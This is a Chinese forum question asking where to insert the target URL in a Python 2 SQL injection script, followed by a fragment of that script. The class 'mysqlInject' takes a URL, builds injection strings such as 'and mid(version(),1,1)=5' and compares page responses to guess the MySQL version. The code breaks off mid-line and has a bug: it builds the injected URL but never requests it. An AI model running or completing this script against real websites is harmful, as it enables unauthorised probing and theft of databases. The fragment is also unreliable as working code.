我想知道 下面的sql注入检测python代码 在哪里添加网址的
#coding:gb2312
import urllib
import string
import binascii
import re
class mysqlInject():
def __init__(self,url):
self.db='database()'
self.url=url #待检测的网址
self.dblen=0 #数据库的长度
self.counts=0 #字段数
self.tables=[] #表
self.dbname=''
# 检测数据库的版本
def judgeVersion(self):
page=urllib.urlopen(self.url).read()
sql=string.join([self.url,"%20and%20mid(version(),1,1)=523%"],'')
pagex=urllib.urlopen(self.url).read()
if page==pagex:
print 'MYSQL版本:>5'
else:
print 'MYSQL版本 |
免责声明:本内容仅代表回答会员见解不代表天盟观点,请谨慎对待。
版权声明:作者保留权利,不代表天盟立场。
|
|
|
|